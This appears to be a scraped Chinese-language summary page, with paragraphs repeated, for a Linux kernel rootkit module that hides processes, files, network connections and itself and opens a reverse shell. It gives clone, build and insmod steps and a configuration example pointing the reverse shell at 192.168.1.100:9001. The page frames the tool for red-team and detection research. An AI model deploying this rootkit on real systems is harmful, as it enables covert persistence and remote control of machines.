1. 项目定位与用途
mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,定位为安全研究、红队演练和内核安全教学的工具。它通过内核层钩子技术实现系统实体的动态隐藏,并提供隐蔽的反向 shell 通道。项目设计为可加载内核模块(LKM),无需修改内核源码即可加载使用,主要用途包括验证内核安全机制、测试检测工具的有效性、演示高级隐藏技术以及红队操作中的痕迹管理。所有功能均在 kernel-space 实现,确保对用户空间的完全透明性。
flashnuke/mod-rootkit:mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,利用 kprobes 和 ftrace 技术实现进本页整理它解决什么问题、适用场景、安装方式和使用方法。
mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,利用 kprobes 和 ftrace 技术实现进程、文件、网络连接的隐藏及反向 shell 功能,专为现代内核设计,用于安全研究与红队演练。
mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,定位为安全研究、红队演练和内核安全教学的工具。它通过内核层钩子技术实现系统实体的动态隐藏,并提供隐蔽的反向 shell 通道。项目设计为可加载内核模块(LKM),无需修改内核源码即可加载使用,主要用途包括验证内核安全机制、测试检测工具的有效性、演示高级隐藏技术以及红队操作中的痕迹管理。所有功能均在 kernel-space 实现,确保对用户空间的完全透明性。
项目主要解决在现代 Linux 内核(5.7+)上实现隐蔽操作的技术难题。传统 rootkit 依赖直接修改 syscall 表或使用 kallsyms_lookup_name() 等已移除/封装的符号,在新内核上失效或易被检测。本模块采用 kprobes 和 ftrace 机制进行系统调用钩子,避免触碰敏感数据结构,提供更高的 stealth 和兼容性。同时解决了多维度隐藏的协同问题——进程、文件、网络和模块自身的隐藏需统一配置和一致行为,项目通过集中式过滤规则实现这一点。反向 shell 功能则解决了在严格防火墙环境下建立隐蔽通道的需求。
适用场景主要包括:内核安全研究与漏洞测试,用于验证系统调用钩子的检测难度;红队演练与渗透测试,在授权测试中实现隐蔽持久化和痕迹清除;操作系统安全教学,演示内核钩子技术的工作原理和防御挑战;安全产品测试,评估 EDR、IDS 等工具对内核级威胁的检出能力。项目仅限 x86_64 架构,需在受控环境或授权测试中使用,不应用于非法入侵。所有演示均需在隔离网络和测试系统中进行。
安装过程分为依赖安装、代码获取、模块编译三步。首先安装构建依赖:sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc。然后克隆仓库:git clone https://github.com/flashnuke/mod-rootkit.git && cd mod-rootkit。最后编译模块:make [可选参数]。若 Makefile 定义了 install 目标,可使用 sudo make install 自动加载模块;否则使用 sudo insmod mod_rootkit.ko 手动加载。注意:编译和加载均需 root 权限,且内核版本需与 headers 匹配。
使用方式通过 make 命令行参数配置隐藏规则。STRING_EXCLUDES 设置要隐藏的文件/进程名关键词(逗号分隔);NET_EXCLUDES 设置要隐藏的 IP 地址或端口;RSHELL_HOST 和 RSHELL_PORT 设置反向 shell 目标地址和端口;HIDE_MODULE=1 使模块在加载后自动隐藏自身;MODULE_NAME 可自定义模块名。示例:make STRING_EXCLUDES="secret,hidden" RSHELL_HOST=192.168.1.100 RSHELL_PORT=9001 && sudo insmod mod_rootkit.ko。模块加载后规则即时生效,匹配的进程、文件、目录和网络连接将从用户空间视图中消失,反向 shell 在后台建立。
mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,利用 kprobes 和 ftrace 技术实现进程、文件、网络连接的隐藏及反向 shell 功能,专为现代内核设计,用于安全研究与红队演练。
mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,定位为安全研究、红队演练和内核安全教学的工具。它通过内核层钩子技术实现系统实体的动态隐藏,并提供隐蔽的反向 shell 通道。项目设计为可加载内核模块(LKM),无需修改内核源码即可加载使用,主要用途包括验证内核安全机制、测试检测工具的有效性、演示高级隐藏技术以及红队操作中的痕迹管理。所有功能均在 kernel-space 实现,确保对用户空间的完全透明性。
安装过程分为依赖安装、代码获取、模块编译三步。首先安装构建依赖:sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc。然后克隆仓库:git clone https://github.com/flashnuke/mod-rootkit.git && cd mod-rootkit。最后编译模块:make [可选参数]。若 Makefile 定义了 install 目标,可使用 sudo make install 自动加载模块;否则使用 sudo insmod mod_rootkit.ko 手动加载。注意:编译和加载均需 root 权限,且内核版本需与 headers 匹配。
使用方式通过 make 命令行参数配置隐藏规则。STRING_EXCLUDES 设置要隐藏的文件/进程名关键词(逗号分隔);NET_EXCLUDES 设置要隐藏的 IP 地址或端口;RSHELL_HOST 和 RSHELL_PORT 设置反向 shell 目标地址和端口;HIDE_MODULE=1 使模块在加载后自动隐藏自身;MODULE_NAME 可自定义模块名。示例:make STRING_EXCLUDES="secret,hidden" RSHELL_HOST=192.168.1.100 RSHELL_PORT=9001 && sudo insmod mod_rootkit.ko。模块加载后规则即时生效,匹配的进程、文件、目录和网络连接将从用户空间视图中消失,反向 shell 在后台建立。